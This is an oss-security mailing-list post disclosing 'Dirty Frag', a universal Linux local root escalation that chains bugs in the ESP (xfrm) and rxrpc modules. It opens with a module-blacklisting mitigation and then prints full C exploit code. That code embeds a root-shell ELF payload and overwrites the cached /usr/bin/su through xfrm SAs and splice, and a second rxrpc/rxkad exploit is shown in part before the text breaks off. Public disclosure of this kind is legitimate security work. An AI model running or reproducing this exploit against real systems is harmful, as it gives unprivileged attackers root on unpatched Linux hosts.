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Linux Kernel Runtime Guard
John the Ripper password cracker
Free & Open Source for any platform in the cloud Pro for Linux Pro for macOS
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in the cloud
Pro for Linux
Pro for macOS
Wordlists for password cracking
passwdqc policy enforcement
Free & Open Source for Unix Pro for Windows (Active Directory)
Free & Open Source for Unix
Pro for Windows (Active Directory)
yescrypt KDF & password hashing
yespower Proof-of-Work (PoW)
crypt_blowfish password hashing
phpass ditto in PHP
tcb better password shadowing
Pluggable Authentication Modules
scanlogd port scan detector
popa3d tiny POP3 daemon
blists web interface to mailing lists
msulogin single user mode login
php_mt_seed mt_rand() cracker
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Message-ID: <afzgS2SCWNcZU3vU@v4bel> Date: Fri, 8 May 2026 03:56:11 +0900 From: Hyunwoo Kim <imv4bel@…il.com> To: oss-security@…ts.openwall.com Cc: imv4bel@…il.com Subject: Dirty Frag: Universal Linux LPE
Hi,
This is a report on “Dirty Frag”, a universal LPE that allows obtaining root privileges on all major distributions.
This vulnerability has a similar impact to the previous Copy Fail.
Because the embargo has now been broken, no patches or CVEs exist for these vulnerabilities. After consultation with the linux-distros@…openwall.org maintainers, and at the maintainers’ request, I am publicly releasing this Dirty Frag document.
As with the previous Copy Fail vulnerability, Dirty Frag likewise allows immediate root privilege escalation on all major distributions, and it chains two separate vulnerabilities:
- https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4 - https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
Because the responsible disclosure schedule and embargo have been broken, no patches exist for any distribution. Use the following command to remove the modules in which the vulnerabilities occur: ``` sh -c “printf ‘install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n’ > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true” ```
For detailed technical information about the vulnerabilities and the reason the embargo was broken, please check https://dirtyfrag.io.
Full exploit code: ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sched.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/if.h> #include <linux/if.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/xfrm.h>
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif
#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH “/usr/bin/su” #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ #define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */
/* * 192-byte minimal x86_64 root-shell ELF. * _start at 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); * execve(“/bin/sh”, NULL, [“TERM=xterm”, NULL]); * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. * * Setting TERM in the new shell’s env silences the * “tput: No value for $TERM” / “test: : integer expected” noise * /etc/bash.bashrc and friends emit when TERM is unset. * * Code (from offset 0x78): * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a ; setgid * 0f 05 syscall * b0 69 mov al, 0x69 ; setuid * 0f 05 syscall * b0 74 mov al, 0x74 ; setgroups * 0f 05 syscall * 6a 00 push 0 ; envp[1] = NULL * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = “TERM=xterm” * 50 push rax ; envp[0] * 48 89 e2 mov rdx, rsp ; rdx = envp * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = “/bin/sh” * 31 f6 xor esi, esi ; rsi = NULL (argv) * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) * 0f 05 syscall ; execve(“/bin/sh”,NULL,envp) * “TERM=xterm\0″ (offset 0xa5..0xaf) * “/bin/sh\0” (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, };
extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, …) do { if (g_su_verbose) fprintf(stderr, “[su] ” fmt “\n”, ##__VA_ARGS__); } while (0)
static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }
static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG(“unshare: %s”, strerror(errno)); exit(1); } write_proc(“/proc/self/setgroups”, “deny”); char map[64]; snprintf(map, sizeof(map), “0 %u 1″, real_uid); if (write_proc(“/proc/self/uid_map”, map) < 0) { SLOG(“uid_map: %s”, strerror(errno)); exit(1); } snprintf(map, sizeof(map), “0 %u 1”, real_gid); if (write_proc(“/proc/self/gid_map”, map) < 0) { SLOG(“gid_map: %s”, strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG(“socket: %s”, strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, “lo”, IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG(“SIOCGIFFLAGS: %s”, strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG(“SIOCSIFFLAGS: %s”, strerror(errno)); exit(1); } close(s); }
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
char buf[4096] = {0}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));
struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr(“127.0.0.1”); xs->id.spi = htonl(spi); xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr(“127.0.0.1″); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family = AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr(“127.0.0.1”); xs->sel.saddr.a4 = inet_addr(“127.0.0.1″);
{ char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; strncpy(aa->alg_name, “hmac(sha256)”, sizeof(aa->alg_name)-1); aa->alg_key_len = 32 * 8; aa->alg_trunc_len = 128; memset(aa->alg_key, 0xAA, 32); put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); } { char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; strncpy(ea->alg_name, “cbc(aes)”, sizeof(ea->alg_name)-1); ea->alg_key_len = 16 * 8; memset(ea->alg_key, 0xBB, 16); put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); } { struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP; enc.encap_sport = htons(ENC_PORT); enc.encap_dport = htons(ENC_PORT); enc.encap_oa.a4 = 0; put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); } { char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0, sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; esn->bmp_len = 1; esn->oseq = 0; esn->seq = REPLAY_SEQ; esn->oseq_hi = 0; esn->seq_hi = patch_seqhi; esn->replay_window = 32; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); }
if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } char rbuf[4096]; int n = recv(sk, rbuf, sizeof(rbuf), 0); if (n < 0) { close(sk); return -1; } struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; if (rh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error) { close(sk); return -1; } } close(sk); return 0; }
static int do_one_write(const char *path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv < 0) return -1; int one = 1; setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { inet_addr(“127.0.0.1”) }, }; if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_recv); return -1; } int encap = UDP_ENCAP_ESPINUDP; if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { close(sk_recv); return -1; } int sk_send = socket(AF_INET, SOCK_DGRAM, 0); if (sk_send < 0) { close(sk_recv); return -1; } if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_send); close(sk_recv); return -1; } int file_fd = open(path, O_RDONLY); if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }
int pfd[2]; if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }
uint8_t hdr[24]; *(uint32_t*)(hdr + 0) = htonl(spi); *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); memset(hdr + 8, 0xCC, 16);
struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } off_t off = offset; ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); if (s != 16) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); /* still proceed regardless of splice rc — kernel may have already * decrypted the page in the time between splice and recv */ usleep(150 * 1000);
close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return s == 40 ? 0 : -1; }
static int verify_byte(const char *path, off_t offset, uint8_t want) { int fd = open(path, O_RDONLY); if (fd < 0) return -1; uint8_t got; if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } close(fd); return got == want ? 0 : -1; }
static int corrupt_su(void) { setup_userns_netns(); usleep(100 * 1000);
/* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the * desired payload word in its seq_hi field. */ for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; uint32_t seqhi = ((uint32_t)shell_elf[i*4 + 0] << 24) | ((uint32_t)shell_elf[i*4 + 1] << 16) | ((uint32_t)shell_elf[i*4 + 2] << 8) | ((uint32_t)shell_elf[i*4 + 3]); if (add_xfrm_sa(spi, seqhi) < 0) { SLOG(“add_xfrm_sa #%d failed”, i); return -1; } } SLOG(“installed %d xfrm SAs”, PAYLOAD_LEN / 4);
for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; off_t off = PATCH_OFFSET + i * 4; if (do_one_write(TARGET_PATH, off, spi) < 0) { SLOG(“do_one_write #%d at off=0x%lx failed”, i, (long)off); return -1; } } SLOG(“wrote %d bytes to %s starting at 0x%x”, PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET); return 0; }
int su_lpe_main(int argc, char **argv) { for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], “-v”) || !strcmp(argv[i], “–verbose”)) g_su_verbose = 1; else if (!strcmp(argv[i], “–corrupt-only”)) ; /* compat: this body always corrupts only */ } if (getenv(“DIRTYFRAG_VERBOSE”)) g_su_verbose = 1;
pid_t cpid = fork(); if (cpid < 0) return 1; if (cpid == 0) { int rc = corrupt_su(); _exit(rc == 0 ? 0 : 2); } int cstatus; waitpid(cpid, &cstatus, 0); if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { SLOG(“corruption stage failed (status=0x%x)”, cstatus); return 1; }
/* Sanity check: bytes at the embedded ELF entry (file offset 0x78 * after our overwrite) should be 0x31 0xff (xor edi, edi — first * instruction of the new shellcode). */ if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { SLOG(“post-write verify failed (target unchanged)“); return 1; } SLOG(“/usr/bin/su page-cache patched (entry 0x%x = shellcode)”, ENTRY_OFFSET); return 0; } /* * rxrpc/rxkad LPE — uid=1000 → root */
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stdarg.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <time.h> #include <sched.h> #include <poll.h> #include <signal.h> #include <sys/wait.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/uio.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/rxrpc.h> #include <linux/keyctl.h> #include <linux/if_alg.h> #include <net/if.h> #include <termios.h>
#ifndef AF_RXRPC #define AF_RXRPC 33 #endif #ifndef PF_RXRPC #define PF_RXRPC AF_RXRPC #endif #ifndef SOL_RXRPC #define SOL_RXRPC 272 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef MSG_SPLICE_PAGES #define MSG_SPLICE_PAGES 0x8000000 #endif
/* –– rxrpc constants –– */ #define RXRPC_PACKET_TYPE_DATA 1 #define RXRPC_PACKET_TYPE_ACK 2 #define RXRPC_PACKET_TYPE_ABORT 4 #define RXRPC_PACKET_TYPE_CHALLENGE 6 #define RXRPC_PACKET_TYPE_RESPONSE 7 #define RXRPC_CLIENT_INITIATED 0x01 #define RXRPC_REQUEST_ACK 0x02 #define RXRPC_LAST_PACKET 0x04 #define RXRPC_CHANNELMASK 3 #define RXRPC_CIDSHIFT 2
struct rxrpc_wire_header { uint32_t epoch; uint32_t cid; uint32_t callNumber; uint32_t seq; uint32_t serial; uint8_t type; uint8_t flags; uint8_t userStatus; uint8_t securityIndex; uint16_t cksum; /* big-endian on wire */ uint16_t serviceId; } __attribute__((packed));
struct rxkad_challenge { uint32_t version; uint32_t nonce; uint32_t min_level; uint32_t __padding; } __attribute__((packed));
/* Attacker-chosen 8-byte session key used for the rxkad token. * Mutable because the LPE brute-force iterates over keys looking for * one that decrypts the file’s UID field to a “0:” prefix. */ static uint8_t SESSION_KEY[8] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 };
#define LOG(fmt, …) fprintf(stderr, “[+] ” fmt “\n”, ##__VA_ARGS__) #define WARN(fmt, …) fprintf(stderr, “[!] ” fmt “\n”, ##__VA_ARGS__) #define DBG(fmt, …) fprintf(stderr, “[.] ” fmt “\n”, ##__VA_ARGS__)
/* =================================================================== */ /* unshare + map setup */ /* =================================================================== */
static int write_file(const char *path, const char *fmt, …) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; char buf[256]; va_list ap; va_start(ap, fmt); int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); int r = (int)write(fd, buf, n); close(fd); return r; }
static int do_unshare_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { WARN(“unshare(NEWUSER|NEWNET): %s”, strerror(errno)); return -1; } LOG(“unshare(USER|NET) OK, real uid=%u”, real_uid); write_file(“/proc/self/setgroups”, “deny”); if (write_file(“/proc/self/uid_map”, “%u %u 1″, real_uid, real_uid) < 0) { WARN(“uid_map: %s”, strerror(errno)); return -1; } if (write_file(“/proc/self/gid_map”, “%u %u 1”, real_gid, real_gid) < 0) { WARN(“gid_map: %s”, strerror(errno)); return -1; } LOG(“uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns”, real_uid, real_gid);
/* ifup lo */ int s = socket(AF_INET, SOCK_DGRAM, 0); if (s >= 0) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, “lo”); if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) WARN(“SIOCSIFFLAGS lo: %s”, strerror(errno)); else LOG(“lo brought UP in new netns”); } close(s); } return 0; }
/* =================================================================== */ /* rxrpc key (rxkad v1 token with attacker session key) */ /* =================================================================== */
static long key_add(const char *type, const char *desc, const void *payload, size_t plen, int ringid) { return syscall(SYS_add_key, type, desc, payload, plen, ringid); }
static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen) { uint8_t *p = out; uint32_t now = (uint32_t)time(NULL); uint32_t expires = now + 86400; *(uint32_t *)p = htonl(0); p += 4; /* flags */ const char *cell = “evil”; uint32_t clen = strlen(cell); *(uint32_t *)p = htonl(clen); p += 4; memcpy(p, cell, clen); uint32_t pad = (4 - (clen & 3)) & 3; memset(p + clen, 0, pad); p += clen + pad; *(uint32_t *)p = htonl(1); p += 4; /* ntoken */ uint8_t *toklen_p = p; p += 4; uint8_t *tokstart = p; *(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */ *(uint32_t *)p = htonl(0); p += 4; /* vice_id */ *(uint32_t *)p = htonl(1); p += 4; /* kvno */ memcpy(p, SESSION_KEY, 8); p += 8; /* session_key K */ *(uint32_t *)p = htonl(now); p += 4; *(uint32_t *)p = htonl(expires); p += 4; *(uint32_t *)p = htonl(1); p += 4; /* primary_flag */ *(uint32_t *)p = htonl(8); p += 4; /* ticket_len */ memset(p, 0xCC, 8); p += 8; /* ticket */ uint32_t toklen = (uint32_t)(p - tokstart); *(uint32_t *)toklen_p = htonl(toklen); if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; } return (int)(p - out); }
static long add_rxrpc_key(const char *desc) { uint8_t buf[512]; int n = build_rxrpc_v1_token(buf, sizeof(buf)); if (n < 0) return -1; return key_add(“rxrpc”, desc, buf, n, KEY_SPEC_PROCESS_KEYRING); }
/* =================================================================== */ /* AF_ALG pcbc(fcrypt) helpers */ /* =================================================================== */
static int alg_open_pcbc_fcrypt(const uint8_t key[8]) { int s = socket(AF_ALG, SOCK_SEQPACKET, 0); if (s < 0) { WARN(“socket(AF_ALG): %s”, strerror(errno)); return -1; } struct sockaddr_alg sa = { .salg_family = AF_ALG }; strcpy((char *)sa.salg_type, “skcipher”); strcpy((char *)sa.salg_name, “pcbc(fcrypt)“); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { WARN(“bind(AF_ALG pcbc(fcrypt)): %s”, strerror(errno)); close(s); return -1; } if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) { WARN(“ALG_SET_KEY: %s”, strerror(errno)); close(s); return -1; } return s; }
/* Encrypt-or-decrypt a 1+ block of data with a given IV. */ static int alg_op(int alg_s, int op, const uint8_t iv[8], const void *in, size_t inlen, void *out) { int op_fd = accept(alg_s, NULL, NULL); if (op_fd < 0) { WARN(“accept(AF_ALG): %s”, strerror(errno)); return -1; }
char cbuf[CMSG_SPACE(sizeof(int)) + CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0}; struct msghdr msg = {0}; msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf);
struct cmsghdr *c = CMSG_FIRSTHDR(&msg); c->cmsg_level = SOL_ALG; c->cmsg_type = ALG_SET_OP; c->cmsg_len = CMSG_LEN(sizeof(int)); *(int *)CMSG_DATA(c) = op;
c = CMSG_NXTHDR(&msg, c); c->cmsg_level = SOL_ALG; c->cmsg_type = ALG_SET_IV; c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8); struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c); aiv->ivlen = 8; memcpy(aiv->iv, iv, 8);
struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen }; msg.msg_iov = &iov; msg.msg_iovlen = 1;